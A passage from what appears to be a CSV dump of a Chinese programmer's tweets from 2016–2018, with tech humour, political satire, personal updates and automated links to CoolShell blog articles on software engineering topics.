作品赢得了设计界的广泛关注。Hodas的作品超越了感知，充满灵感。这组照片题目叫做《流行文化的反乌托邦》 https://t.co/8IRQvJOVIQ,,https://twitter.com/haoel/status/1046172892210192385\n4861,1045849790121107457,2018-09-29 01:36:35+00:00,2,0,1,,@kevinwei99 这是我2012年发的段子，https://t.co/8H3N8S3hKg,\"[TextLink(text='m.weibo.cn/1401880315/341…', url='https://m.weibo.cn/1401880315/3415903435715306', tcourl='https://t.co/8H3N8S3hKg', indices=(25, 48))]\",https://twitter.com/haoel/status/1045849790121107457\n4862,1045686343815258112,2018-09-28 14:47:06+00:00,1036,439,38,,我一直觉得天朝是面向对象的，因为天朝具备了面向对象程序设计的三大特性：1）封装，你完全不知道里面是怎么运作的。2）继承，各种官二代，红二代，学好数理化，不如有个好爸爸，3）多态，同样的法律同样的行为，对于不同的人（实例）就有不同的执行结果！,,https://twitter.com/haoel/status/1045686343815258112\n4863,1045678380413112321,2018-09-28 14:15:28+00:00,55,8,14,,C代表一致性，A代表可用性，P代表分区容忍性。如果整个社会在同一种规则下运行，那就是一致性的“C系统”，如果能保证社会的维定快速运行就是“A系统”，如果还能容忍不同的想法和不同主张的党派就是“P系统”…你可能以为我会说天朝是个什么系统，你错了，我其实是想说天朝不适用于CAP，因为它是单体应用…,,https://twitter.com/haoel/status/1045678380413112321\n4864,1043114552353677312,2018-09-21 12:27:44+00:00,10,7,4,,搞得我也想给他们送面锦旗了，上书：“情系强奸犯，传播症能量”！ https://t.co/nowG7qnhgd,,https://twitter.com/haoel/status/1043114552353677312\n4865,1042429472224342016,2018-09-19 15:05:28+00:00,11,12,2,,Lady Gaga六年前的一推（https://t.co/OVoA7XXODC），终于被程序看懂了…… https://t.co/lLSHM8LfqM,\"[TextLink(text='twitter.com/ladygaga/statu…', url='https://twitter.com/ladygaga/status/266036172122365952?s=21', tcourl='https://t.co/OVoA7XXODC', indices=(16, 39))]\",https://twitter.com/haoel/status/1042429472224342016\n4866,1042419866056060928,2018-09-19 14:27:17+00:00,81,3,38,,今天有个人和我说看什么书都没意思，让我推荐他本书，经读一点的，有高度，即能高瞻远瞩，又能醍醐灌顶，看完能达到更高的的高度。我想来想去，只能推荐这本了。https://t.co/itE9qyGRP5,\"[TextLink(text='item.m.jd.com/product/122350…', url='https://item.m.jd.com/product/12235077.html', tcourl='https://t.co/itE9qyGRP5', indices=(75, 98))]\",https://twitter.com/haoel/status/1042419866056060928\n4867,1042012225601273856,2018-09-18 11:27:28+00:00,0,0,0,,@fastzhong @ruanyf 麻瓜干不了的工作最稳定,,https://twitter.com/haoel/status/1042012225601273856\n4868,1041705090728357889,2018-09-17 15:07:02+00:00,3,0,1,,@CrazyMouse_TT 基础知识，我觉的没必要,,https://twitter.com/haoel/status/1041705090728357889\n4869,1041701425284149251,2018-09-17 14:52:28+00:00,447,152,77,,基础的算法和数据结构，在这世界上有不知多少本书，有不知多少专业的人讲，还有不知多少个动画演示，如果这些都无法让你学会，为什么一个收费的专栏能呢？,,https://twitter.com/haoel/status/1041701425284149251\n4870,1041695348962422785,2018-09-17 14:28:19+00:00,1,0,0,,@kevinzhow 这种教案多少人讲过，有各种更好的让你学,,https://twitter.com/haoel/status/1041695348962422785\n4871,1041671629678424065,2018-09-17 12:54:04+00:00,5,0,3,,@kevinzhow 为什么要买？这么基础的知识……,,https://twitter.com/haoel/status/1041671629678424065\n4872,1041547593170350080,2018-09-17 04:41:11+00:00,29,10,6,,从小到大，40多年来，不懂事前，先是要打倒美英，后来跟苏联不和，跟越南打过战，懂事后，抵制过日本，美国，法国，韩国，菲律宾，印度……抵制过可口可乐，肯德基，味仟拉面，家乐福，谷歌，乐天……春风吹，战鼓擂……现在坐等抵制瑞典和宜家了……,,https://twitter.com/haoel/status/1041547593170350080\n4873,1041125777981370369,2018-09-16 00:45:03+00:00,12,1,5,,https://t.co/tGq8y14MUG,,https://twitter.com/haoel/status/1041125777981370369\n4874,1040561207671812096,2018-09-14 11:21:39+00:00,8,0,2,,我应该加张照片才对 https://t.co/61FEH4LFhZ,,https://twitter.com/haoel/status/1040561207671812096\n4875,1040479905517993984,2018-09-14 05:58:35+00:00,18,0,4,,作为iPhoneX的用户，这回发布的新iPhone对我来说是最便宜的一次升级一一换个壁纸就完成升级了……✌️,,https://twitter.com/haoel/status/1040479905517993984\n4876,1038653156702412801,2018-09-09 04:59:44+00:00,42,23,21,,谁说我不知道你在干什么的？ https://t.co/iXMiReiFQf,,https://twitter.com/haoel/status/1038653156702412801\n4877,1036283865596186624,2018-09-02 16:05:01+00:00,41,2,4,,风景如画（PS：据说在这里翻墙要有勇气） https://t.co/JKkWNVQqx9,,https://twitter.com/haoel/status/1036283865596186624\n4878,1034971708870938625,2018-08-30 01:10:58+00:00,13,7,4,,呵呵 https://t.co/lJMopt7783,,https://twitter.com/haoel/status/1034971708870938625\n4879,1034794918256947201,2018-08-29 13:28:28+00:00,12,2,3,,5年前，百度咋就只给我发律师函，而没告我呢……嫉妒楼主啊！https://t.co/9skdMFX5tY,\"[TextLink(text='coolshell.cn/articles/9308.…', url='https://coolshell.cn/articles/9308.html', tcourl='https://t.co/9skdMFX5tY', indices=(29, 52))]\",https://twitter.com/haoel/status/1034794918256947201\n4880,1033635199806926848,2018-08-26 08:40:10+00:00,164,74,2,,在极客时间总结我面试经验的过程时，写了一些“鸡汤”和“毒药”，极客时间编辑看过后觉得应该全都放出来。那就放出来吧，就像上次一样，鸡汤和毒药配着喝，别有一番风味…… 另外，我也借此跟极客时间做次运营活动，来个800个人的团购活动，https://t.co/m3GinVGAh6 https://t.co/B3ofrw3TJ0,\"[TextLink(text='time.geekbang.org/column/intro/4…', url='https://time.geekbang.org/column/intro/48?utm_term=zeusMOM40&utm_source=weibo&utm_medium=zuoer&utm_campaign=48-onsell&utm_content=0826', tcourl='https://t.co/m3GinVGAh6', indices=(114, 137))]\",https://twitter.com/haoel/status/1033635199806926848\n4881,1030063461881901056,2018-08-16 12:07:21+00:00,54,26,0,,你们不开源，就是搞技术封锁，你们一开源，我们就自主创新……,,https://twitter.com/haoel/status/1030063461881901056\n4882,1016293682020904960,2018-07-09 12:11:10+00:00,1,0,2,,@calvinzhao 居然影射当今领导人为袁世凯……,,https://twitter.com/haoel/status/1016293682020904960\n4883,1013466724056723456,2018-07-01 16:57:50+00:00,4,0,7,,点球大战太残酷了，也太有运气成分了。我有几个想法可改进一下：1）加时赛每15分钟每个队都减一个人，一直加时下去，2）加时赛加一个球，嗯，同时踢多个球！3）只要能射在门框里（包括门柱），就算进1/3个球，打正3个就算进一个。,,https://twitter.com/haoel/status/1013466724056723456\n4884,1013108408386445313,2018-06-30 17:14:01+00:00,13,4,1,,两个10号，90后和80后，19岁和31岁，感觉像是交接仪式…… https://t.co/0uxIabIQaX,,https://twitter.com/haoel/status/1013108408386445313\n4885,1012010633858990080,2018-06-27 16:31:52+00:00,5,4,2,,小组赛第一场比赛的这张图完美预测了最终结果…… https://t.co/FBb0vZ0sLZ,,https://twitter.com/haoel/status/1012010633858990080\n4886,1010474662780784652,2018-06-23 10:48:27+00:00,1,1,7,,Got this during push the code to bitbucket. What does it mean? https://t.co/6Aag3NqwxR,,https://twitter.com/haoel/status/1010474662780784652\n4887,1009084146361069568,2018-06-19 14:43:03+00:00,29,5,7,,中兴这个事，还是美国的体制好，总统决定的事，议会可以否掉，然后总统可以再否掉议会，最后议会可以继续否掉总统，感觉美帝可以一直这样玩下去……而我们国家，老大决定了，就定了，不可能有人反对……制度上还是稍逊一筹……,,https://twitter.com/haoel/status/1009084146361069568\n4888,1005767747458875392,2018-06-10 11:04:51+00:00,8,7,2,,同慰问 https://t.co/Zoq9lOR7QS,\"[TextLink(text='twitter.com/linuxyz/status…', url='https://twitter.com/linuxyz/status/1005725217245704192', tcourl='https://t.co/Zoq9lOR7QS', indices=(4, 27))]\",https://twitter.com/haoel/status/1005767747458875392\n4889,1004168354288971776,2018-06-06 01:09:26+00:00,1,0,1,,@kevinzhow 我靠，和你真像,,https://twitter.com/haoel/status/1004168354288971776\n4890,1003834043035611137,2018-06-05 03:01:00+00:00,4,0,2,,自从升级了iOS 11.4后，Handoff是好了，但是手机温度随时都很暖手，充电到80%再也上不去了……,,https://twitter.com/haoel/status/1003834043035611137\n4891,1003651511895748608,2018-06-04 14:55:42+00:00,5,3,3,,用词不当，是玄幻小说…… https://t.co/dacwwUIfgo,\"[TextLink(text='twitter.com/tualatrix/stat…', url='https://twitter.com/tualatrix/status/1003573148904640512', tcourl='https://t.co/dacwwUIfgo', indices=(13, 36))]\",https://twitter.com/haoel/status/1003651511895748608\n4892,1003649429323149313,2018-06-04 14:47:25+00:00,0,0,1,,@tomyail Unix编程艺术 是好书！,,https://twitter.com/haoel/status/1003649429323149313\n4893,1003136390954012673,2018-06-03 04:48:47+00:00,1,1,0,,Handoff失效了好长时间了，相当影响工作效率，试了各种手段都解决不了。今早看到有11.4更新，一更新就好了，呵呵！ ​​​🖕🏻,,https://twitter.com/haoel/status/1003136390954012673\n4894,1002593146826416128,2018-06-01 16:50:08+00:00,36,33,3,,Google 一下“区块链 重新定义”，你就会发现区块链重新定义了：世界、域名经济、CDN生态、数据存储、汽车行业、法律行业、社交网络、契约关系、无国界、清洁能源、物联网、支付、钱包、人才市场、有机农业、学习教育、在线旅游、内容版权、财富投资、共享经济……还重新定义罗永浩的重新定义😂,,https://twitter.com/haoel/status/1002593146826416128\n4895,1002039200114294784,2018-05-31 04:08:56+00:00,56,4,7,,今天是世界无烟日（World No Tobacco Day），我已戒烟了近5个月了，现在已不能接受闻到烟味。希望还在抽烟的人和我一样开始戒烟，我25年的烟龄说戒就戒了，你一定也行的…… https://t.co/LwToKKVkJg,,https://twitter.com/haoel/status/1002039200114294784\n4896,1001321867892936704,2018-05-29 04:38:31+00:00,41,10,1,,酷壳 https://t.co/IuyntCmVpT - 程序员练级攻略（2018) 与我的专栏: 写极客时间8个月了，我的专栏现在有一些定的积累了，今天我想自己推荐一下我的专栏。因为最新的系列《程序员练… https://t.co/iOActtJlgM,\"[TextLink(text='Coolshell.cn', url='http://Coolshell.cn', tcourl='https://t.co/IuyntCmVpT', indices=(3, 26)), TextLink(text='goo.gl/fb/vJM4fz', url='https://goo.gl/fb/vJM4fz', tcourl='https://t.co/iOActtJlgM', indices=(104, 127))]\",https://twitter.com/haoel/status/1001321867892936704\n4897,1000627338575470593,2018-05-27 06:38:42+00:00,0,0,0,,@xiaoyezi 前同事,,https://twitter.com/haoel/status/1000627338575470593\n4898,1000363808345341953,2018-05-26 13:11:32+00:00,43,21,6,,记得20年前在银行工作时，前置服务器是SCO Unix，柜面都是Unix终端。然后，经常性终端进程出问题，柜员就打电话到IT部门都会说：“帮我杀一下，谢谢”，我一直很好奇，到柜台办业务的用户听到柜员这么说，他们会在想什么？就像我一直好奇，如果别人看到我搜索kill parent and child时，他会怎么想？ https://t.co/J49xZDHZ3U,,https://twitter.com/haoel/status/1000363808345341953\n4899,1000043302601789446,2018-05-25 15:57:57+00:00,1,0,0,,@kevinzhow 我觉的不错,,https://twitter.com/haoel/status/1000043302601789446\n4900,999976150582476800,2018-05-25 11:31:07+00:00,165,58,7,,有人问我，你做程序员最让你感动的事是什么？想了想，无论我过得怎么样，无论生老病死，无论白天黑夜，无论我身处何处，无论我是在工作还是在开车还是在休息，我的朋友和亲人都会记得打电话给我，让我帮他们解决各种电脑和手机问题，做程序员这20多年来，他们从来没有忘记过我！,,https://twitter.com/haoel/status/999976150582476800\n4901,996720685266321409,2018-05-16 11:55:04+00:00,1,0,1,,@kevinzhow 花样滑冰？就你这身材？really?,,https://twitter.com/haoel/status/996720685266321409\n4902,996621276432154624,2018-05-16 05:20:03+00:00,1,0,1,,@kevinzhow 牛逼,,https://twitter.com/haoel/status/996621276432154624\n4903,996253245398896640,2018-05-15 04:57:37+00:00,257,93,13,,过去一两年，陆陆续续写了些观点，可以简单分成两组，第一组是毒汤，用来扎心，第二组是鸡汤，用来激励。你喜欢哪一碗？😎 https://t.co/3fqVFrGBrA,,https://twitter.com/haoel/status/996253245398896640\n4904,986043694833795072,2018-04-17 00:48:31+00:00,7,0,3,,果然是iBug X啊，竖屏模式下强制横屏，然后布局都乱掉了…… https://t.co/yLp9WGdgWj,,https://twitter.com/haoel/status/986043694833795072\n4905,983736950484942849,2018-04-10 16:02:20+00:00,63,24,9,,是时候展示真正的技术了…… https://t.co/GxT9Corkkr,,https://twitter.com/haoel/status/983736950484942849\n4906,982645277336023040,2018-04-07 15:44:25+00:00,22,15,1,,\"“My company implemented blockchain into the app, actually we don’t need the blockchain but we’d like to say we do use blockchain” https://t.co/XV5WpMEcH5\",,https://twitter.com/haoel/status/982645277336023040\n4907,979899262711431169,2018-03-31 01:52:44+00:00,76,13,18,,现在就流行的IDE不是极客的Vim或Emacs，也不是沉重的Eclipse 或IntelliJ IDEA，更不是轻巧的Sublime 或Atom，而是VS Code……20年前就在用VC++6，现在又回到Visual Studio，这让我想起了我的初恋女友……❤️,,https://twitter.com/haoel/status/979899262711431169\n4908,979193046800592897,2018-03-29 03:06:29+00:00,34,19,2,,创始人离开也就离开吧，还有这么漂亮的漫画作衬托，意境满满，文艺满满，“跑都跑的那么帅……” https://t.co/19XAI9j606,,https://twitter.com/haoel/status/979193046800592897\n4909,979188099610689536,2018-03-29 02:46:50+00:00,11,2,1,,舍得舍得，先舍后得，放得下才拿的起，放不下通常也意味着拿不起，看好放的下拿的起的人👍 https://t.co/lBAkIMsK9j,\"[TextLink(text='twitter.com/anamewing/stat…', url='https://twitter.com/anamewing/status/978900340262297600', tcourl='https://t.co/lBAkIMsK9j', indices=(43, 66))]\",https://twitter.com/haoel/status/979188099610689536\n4910,978280160280461313,2018-03-26 14:39:00+00:00,0,0,0,,@xjtuecho @89tulu @kcome 不如我们来讨论一下，完全没有中心服务器的Git，和有中心化的Github/Gitlab，那个更好吧。,,https://twitter.com/haoel/status/978280160280461313\n4911,978087174342979584,2018-03-26 01:52:09+00:00,0,0,0,,@89tulu @xjtuecho @kcome 谈论个技术，都能谈到你情绪失控，还上升到政治和道德层面。老兄还要努力啊，加油啊。,,https://twitter.com/haoel/status/978087174342979584\n4912,978073283475095553,2018-03-26 00:56:57+00:00,0,0,1,,@89tulu @xjtuecho @kcome 你对社会对政府不满，求你给个示范,,https://twitter.com/haoel/status/978073283475095553\n4913,977966840327450624,2018-03-25 17:53:59+00:00,0,0,4,,@89tulu @xjtuecho @kcome 我以为墙外的人逻辑和情绪性会好点，没想到也是怪容易激动的，呵呵。,,https://twitter.com/haoel/status/977966840327450624\n4914,977850304854032386,2018-03-25 10:10:54+00:00,0,0,0,,@Dennis69249870 @kevinzhow 这波人一言不和就分叉，等着看吧,,https://twitter.com/haoel/status/977850304854032386\n4915,977850115997093888,2018-03-25 10:10:09+00:00,1,0,2,,@89tulu @kcome 中心化没什么不好的,,https://twitter.com/haoel/status/977850115997093888\n4916,977553127829258240,2018-03-24 14:30:02+00:00,48,18,7,,好多人说，数字币是泡沫，区块链技术上没问题。要我说，区块链技术有太多的问题，槽点不是一般的多。有人跟我说，区块链还要时间成熟。要我说，成熟个毛线除了，未来只会有更多的分叉……,,https://twitter.com/haoel/status/977553127829258240\n4917,971702325982015488,2018-03-08 11:01:02+00:00,0,0,0,,@shinyzhu 谢谢,,https://twitter.com/haoel/status/971702325982015488\n4918,971591889416724480,2018-03-08 03:42:12+00:00,37,10,8,,心里面想着，是说“给您拜个晚年”呢，还是说“新年快乐”，结果嘴巴上却说出来：“祝您晚年快乐”🤐…… 恨不得当场一头撞死……,,https://twitter.com/haoel/status/971591889416724480\n4919,962582372586725376,2018-02-11 07:01:36+00:00,9,3,6,,第一次带孩子来中国科技馆，老实说，我有一点失望。竟然和商场里的那些游乐设施没什么两样，好多所谓的科技土到还不如农家乐里的一些项目……代表国家水平的科普场馆也就这样，下一代还能咋样……,,https://twitter.com/haoel/status/962582372586725376\n4920,962324645977272322,2018-02-10 13:57:29+00:00,43,2,6,,2018年立两个今年的Flag，一个是戒掉25年的抽烟恶习（现已戒了一个月），另外一个是健身减重至少20斤，体重回到85公斤左右……人到中年，精力有限，必需保持充沛的精力和体力……,,https://twitter.com/haoel/status/962324645977272322\n4921,958249250797666304,2018-01-30 08:03:19+00:00,1,0,0,,@Vinci_xu 哈哈，老乡好,,https://twitter.com/haoel/status/958249250797666304\n4922,958154556990373888,2018-01-30 01:47:02+00:00,63,43,13,,带孩子回昆明，孩子说：“为啥昆明街头这么多的‘富强、民主、文明、平等’，好烦”，我问她咋个烦法，她说：“这种东西挂一万遍我也不会变文明的”。我确认不是听来的后，想试试这8岁孩子更多的想法，我问她什么是“富强”，她说不知道，接着问，什么是“民主”，她说：“人民的主人呗” ，服了！,,https://twitter.com/haoel/status/958154556990373888\n4923,953824964871884801,2018-01-18 03:02:47+00:00,23,4,0,,酷壳 Coolshell.cn - 关于我”极客时间“的专栏: 不少朋友都知道我在“极客时间”上开了一个收费专栏，这个专栏会开设大约一年的时间，一共会发布104篇文章。现在，我在上面… https://t.co/C3lz1KEaL3,\"[TextLink(text='goo.gl/fb/KF6NKz', url='https://goo.gl/fb/KF6NKz', tcourl='https://t.co/C3lz1KEaL3', indices=(93, 116))]\",https://twitter.com/haoel/status/953824964871884801\n4924,953824963508752385,2018-01-18 03:02:47+00:00,25,4,0,,酷壳 Coolshell.cn - Go语言、Docker 和新技术: 上个月，作为 Go 语言的三位创始人之一，Unix 老牌黑客罗勃·派克（Rob Pike）在新文章“Go… https://t.co/IG9LIhTd3X,\"[TextLink(text='goo.gl/fb/Vzw49e', url='https://goo.gl/fb/Vzw49e', tcourl='https://t.co/IG9LIhTd3X', indices=(90, 113))]\",https://twitter.com/haoel/status/953824963508752385\n4925,944126897792860160,2017-12-22 08:46:08+00:00,40,49,2,,This pull request ... https://t.co/KVXmVhhGrq https://t.co/MSeQZ7hKQa,\"[TextLink(text='github.com/danielmiessler…', url='https://github.com/danielmiessler/SecLists/pull/155', tcourl='https://t.co/KVXmVhhGrq', indices=(22, 45))]\",https://twitter.com/haoel/status/944126897792860160\n4926,940223617270398976,2017-12-11 14:15:53+00:00,0,0,1,,@lpdl 全远程公司,,https://twitter.com/haoel/status/940223617270398976\n4927,938030470771589121,2017-12-05 13:01:06+00:00,0,0,1,,@lpdl 一起来干呗,,https://twitter.com/haoel/status/938030470771589121\n4928,937644820423524353,2017-12-04 11:28:40+00:00,0,0,0,,@eatEmotions 谢谢,,https://twitter.com/haoel/status/937644820423524353\n4929,910022776324534272,2017-09-19 06:08:31+00:00,18,20,1,,酷壳 Coolshell.cn - 关于Facebook 的 React 专利许可证: 随着Apache、百度、Wordpress都在和Facebook的React.js以及其专利… https://t.co/SsZ1VwrOsP,\"[TextLink(text='goo.gl/fb/6ny46L', url='https://goo.gl/fb/6ny46L', tcourl='https://t.co/SsZ1VwrOsP', indices=(92, 115))]\",https://twitter.com/haoel/status/910022776324534272\n4930,901419911603404800,2017-08-26 12:23:49+00:00,0,0,1,,@atuzhu https的原因，现在已修复,,https://twitter.com/haoel/status/901419911603404800\n4931,901324983225516040,2017-08-26 06:06:36+00:00,27,7,3,,酷壳 Coolshell.cn - 如何免费的让网站启用HTTPS: 今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友… https://t.co/sMjUKeYhng,\"[TextLink(text='goo.gl/fb/ZwAbwU', url='https://goo.gl/fb/ZwAbwU', tcourl='https://t.co/sMjUKeYhng', indices=(92, 115))]\",https://twitter.com/haoel/status/901324983225516040\n4932,901312552587710464,2017-08-26 05:17:12+00:00,29,16,1,,酷壳 Coolshell.cn - API设计原则: （感谢好友 @李鼎 翻译此文） 原文链接：API Design Principles – Qt Wiki 基于Gary的影响力上… https://t.co/A1elRTwMlO,\"[TextLink(text='goo.gl/fb/RTimxD', url='https://goo.gl/fb/RTimxD', tcourl='https://t.co/A1elRTwMlO', indices=(93, 116))]\",https://twitter.com/haoel/status/901312552587710464\n4933,892362571575173120,2017-08-01 12:33:11+00:00,21,7,1,,酷壳 Coolshell.cn - API设计原则: （感谢好友 @李鼎 翻译此文） 原文链接：API Design Principles – QT Wiki 基于Gary的影响力上… https://t.co/2IwP5stfTX,\"[TextLink(text='goo.gl/fb/nM2ye4', url='https://goo.gl/fb/nM2ye4', tcourl='https://t.co/2IwP5stfTX', indices=(93, 116))]\",https://twitter.com/haoel/status/892362571575173120\n4934,892362570039996416,2017-08-01 12:33:10+00:00,12,6,1,,酷壳 Coolshell.cn - Linux PID 1 和 Systemd: 要说清 Systemd，得先从Linux操作系统的启动说起。Linux 操作系统的启动首先从… https://t.co/WE9Zoq2mYS,\"[TextLink(text='goo.gl/fb/iZPcoJ', url='https://goo.gl/fb/iZPcoJ', tcourl='https://t.co/WE9Zoq2mYS', indices=(89, 112))]\",https://twitter.com/haoel/status/892362570039996416\n4935,885681503006367745,2017-07-14 02:05:00+00:00,30,13,1,,\"\"\"First Blood, Double Kill, Triple Kill, Quadra Kill, Penta Kill, Rampage, Unstoppable, Godlike. Aced! \"\" 哦，我说的不是王者荣耀，而是中国互联网。\",,https://twitter.com/haoel/status/885681503006367745\n4936,883989967336353792,2017-07-09 10:03:26+00:00,19,14,1,,酷壳 Coolshell.cn - 我看绩效考核: 前些天，有几个网友找我谈绩效考核的事，都是在绩效上被差评的朋友。在大致了解情况后，我发现他们感到沮丧和郁闷的原因，不全是自己没有做… https://t.co/0D0aOaGpVn,\"[TextLink(text='goo.gl/fb/YwB5Ux', url='https://goo.gl/fb/YwB5Ux', tcourl='https://t.co/0D0aOaGpVn', indices=(93, 116))]\",https://twitter.com/haoel/status/883989967336353792\n4937,870200379232923648,2017-06-01 08:48:32+00:00,11,6,0,,酷壳 Coolshell.cn - Go语言的修饰器编程: 之前写过一篇《Python修饰器的函数式编程》，这种模式很容易的可以把一些函数装配到另外一些函数上，可以让你的代码更为的… https://t.co/41WmhS0njn,\"[TextLink(text='goo.gl/fb/IwaqEa', url='https://goo.gl/fb/IwaqEa', tcourl='https://t.co/41WmhS0njn', indices=(92, 115))]\",https://twitter.com/haoel/status/870200379232923648\n4938,849564918798061568,2017-04-05 10:10:35+00:00,7,3,0,,酷壳 Coolshell.cn - 如何重构“箭头型”代码: 本文主要起因是，一次在微博上和朋友关于嵌套好几层的if-else语句的代码重构的讨论（微博原文），在微博上大家有各式各样… https://t.co/xEiEVHfhKR,\"[TextLink(text='goo.gl/fb/SCZ3lq', url='https://goo.gl/fb/SCZ3lq', tcourl='https://t.co/xEiEVHfhKR', indices=(93, 116))]\",https://twitter.com/haoel/status/849564918798061568\n4939,837548219060015108,2017-03-03 06:20:30+00:00,15,17,0,,酷壳 Coolshell.cn - AWS 的 S3 故障回顾和思考: 继Gitlab的误删除数据事件没几天，“不沉航母” AWS S3 （Simple Storage… https://t.co/afsBcPQZRi,\"[TextLink(text='goo.gl/fb/nPtolG', url='https://goo.gl/fb/nPtolG', tcourl='https://t.co/afsBcPQZRi', indices=(86, 109))]\",https://twitter.com/haoel/status/837548219060015108\n4940,827067368358690816,2017-02-02 08:13:21+00:00,24,22,1,,酷壳 Coolshell.cn - 从Gitlab误删除数据库想到的: 昨天，https://t.co/W8aZkd9p2u发生了一个大事，某同学误删了数据库，这个事看似是个低级错误，不过，因为Gitlab把… https://t.co/BAVXfN2MiA,\"[TextLink(text='Gitlab.com', url='http://Gitlab.com', tcourl='https://t.co/W8aZkd9p2u', indices=(39, 62)), TextLink(text='goo.gl/fb/yaJ5qZ', url='https://goo.gl/fb/yaJ5qZ', tcourl='https://t.co/BAVXfN2MiA', indices=(106, 129))]\",https://twitter.com/haoel/status/827067368358690816\n4941,822057990735806464,2017-01-19 12:27:52+00:00,25,8,0,,酷壳 Coolshell.cn - Chrome开发者工具中的小技巧: Chrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下… https://t.co/wJOI9q8k7A,\"[TextLink(text='goo.gl/fb/gpW0dG', url='https://goo.gl/fb/gpW0dG', tcourl='https://t.co/wJOI9q8k7A', indices=(93, 116))]\",https://twitter.com/haoel/status/822057990735806464\n4942,817660418617286656,2017-01-07 09:13:29+00:00,13,7,0,,酷壳 Coolshell.cn - 从 MongoDB “赎金事件” 看安全问题: 今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在… https://t.co/Urk7kBRhLW,\"[TextLink(text='goo.gl/fb/m26KEt', url='https://goo.gl/fb/m26KEt', tcourl='https://t.co/Urk7kBRhLW', indices=(93, 116))]\",https://twitter.com/haoel/status/817660418617286656\n4943,813971934304149504,2016-12-28 04:56:46+00:00,29,8,1,,酷壳 Coolshell.cn - 技术人员的发展之路: 2012年的时候写过一篇叫《程序算法与人生选择》的文章，我用算法来类比如何做选择，说白了就是怎么去计算，但是并没有讲程序员… https://t.co/AbXMdonfQr,\"[TextLink(text='goo.gl/fb/W31f0J', url='https://goo.gl/fb/W31f0J', tcourl='https://t.co/AbXMdonfQr', indices=(92, 115))]\",https://twitter.com/haoel/status/813971934304149504\n4944,790129858294583296,2016-10-23 09:56:52+00:00,10,4,0,,酷壳 Coolshell.cn - 如何读懂并写出装逼的函数式代码: 今天在微博上看到了 有人分享了下面的这段函数式代码，我把代码贴到下面，不过我对原来的代码略有改动，对于函数式的… https://t.co/V0q1kCow9N,\"[TextLink(text='goo.gl/fb/cbQbp9', url='https://goo.gl/fb/cbQbp9', tcourl='https://t.co/V0q1kCow9N', indices=(92, 115))]\",https://twitter.com/haoel/status/790129858294583296\n4945,777422926689755136,2016-09-18 08:24:04+00:00,13,9,2,,酷壳 Coolshell.cn - 什么是工程师文化？: 四年前，我在QCon上演讲了一个《建一支强大的小团队》（整理后的PPT分享于这里）提到了工程师文化，今天，我想在这里再写一篇… https://t.co/Uzqgk1vnvI,\"[TextLink(text='goo.gl/fb/huW7UA', url='http://goo.gl/fb/huW7UA', tcourl='https://t.co/Uzqgk1vnvI', indices=(93, 116))]\",https://twitter.com/haoel/status/777422926689755136\n4946,774284237004378112,2016-09-09 16:32:02+00:00,6,2,4,,\"You should like coding, because a lot push, pull, push, pull, push, pull...could let you have a great sex life.\",,https://twitter.com/haoel/status/774284237004378112\n4947,767218521046552576,2016-08-21 04:35:24+00:00,20,10,2,,酷壳 Coolshell.cn - 关于高可用的系统: 在《这多年来我一直在钻研的技术》这篇文章中，我讲述了一下，我这么多年来一直在关注的技术领域，其中我多次提到了工业级的软件，我还… https://t.co/A7rOEw8j0z,\"[TextLink(text='goo.gl/fb/qhYbLd', url='http://goo.gl/fb/qhYbLd', tcourl='https://t.co/A7rOEw8j0z', indices=(93, 116))]\",https://twitter.com/haoel/status/767218521046552576\n4948,766964880800833540,2016-08-20 11:47:31+00:00,0,0,1,,@kindule 会的,,https://twitter.com/haoel/status/766964880800833540\n4949,766227084863803392,2016-08-18 10:55:47+00:00,14,10,1,,酷壳 Coolshell.cn - 这多年来我一直在专研的技术: 因主我是看到tinyfool 《那些年我赶过的时髦技术趋势》，在赞叹的时候，也让我对我有好些回忆，所以想写一篇回忆贴… https://t.co/cGp823ueQU,\"[TextLink(text='goo.gl/fb/BKZxuN', url='http://goo.gl/fb/BKZxuN', tcourl='https://t.co/cGp823ueQU', indices=(93, 116))]\",https://twitter.com/haoel/status/766227084863803392\n4950,762265946748653568,2016-08-07 12:35:38+00:00,7,2,2,,Looks pretty easy ... https://t.co/pHhIGqr9K2,\"[TextLink(text='m.youtube.com/watch?v=BkB5-8…', url='https://m.youtube.com/watch?v=BkB5-8IFYek', tcourl='https://t.co/pHhIGqr9K2', indices=(22, 45))]\",https://twitter.com/haoel/status/762265946748653568\n4951,758219143460052993,2016-07-27 08:35:05+00:00,14,7,0,,酷壳 Coolshell.cn - 缓存更新的套路: 看到好些人在写更新缓存数据代码时，先删除缓存，然后再更新数据库，而后续的操作会把数据再装载的缓存中。然而，这个是逻辑是错误的。试想… https://t.co/CYxuC5klK0,\"[TextLink(text='goo.gl/fb/xj4uvM', url='http://goo.gl/fb/xj4uvM', tcourl='https://t.co/CYxuC5klK0', indices=(94, 117))]\",https://twitter.com/haoel/status/758219143460052993\n4952,756080207274971137,2016-07-21 10:55:43+00:00,7,5,0,,\"Tabs vs Spaces, there are 100k such kind issues on Github. That really costs a lot. https://t.co/uoJrZoI1XP\",,https://twitter.com/haoel/status/756080207274971137\n4953,752316760284622848,2016-07-11 01:41:07+00:00,20,14,5,,酷壳 Coolshell.cn - 为什么我不在微信公众号上写文章: 很多朋友问我为什么不在微信公众号上写文章。我都没有直接回答，老实说，我也是扭扭捏捏的，才去开了个个人的微信的公众号… https://t.co/5rSzahPnkx,\"[TextLink(text='goo.gl/fb/ciVZPa', url='http://goo.gl/fb/ciVZPa', tcourl='https://t.co/5rSzahPnkx', indices=(94, 117))]\",https://twitter.com/haoel/status/752316760284622848\n4954,750385707093340160,2016-07-05 17:47:48+00:00,14,7,0,,酷壳 Coolshell.cn - 性能测试应该怎么做？: 偶然间看到了阿里中间件Dubbo的性能测试报告，我觉得这份性能测试报告让人觉得做这性能测试的人根本不懂性能测试，我觉得阿里的… https://t.co/niArxOQTfV,\"[TextLink(text='goo.gl/fb/m6F4cz', url='http://goo.gl/fb/m6F4cz', tcourl='https://t.co/niArxOQTfV', indices=(94, 117))]\",https://twitter.com/haoel/status/750385707093340160\n4955,749486398957203456,2016-07-03 06:14:16+00:00,3,0,1,,Beijing DongCheng district restrooms map https://t.co/zeY8bvrn5s,,https://twitter.com/haoel/status/749486398957203456\n4956,744420608276979712,2016-06-19 06:44:38+00:00,0,1,0,,Someone is trying to piss off everyone... 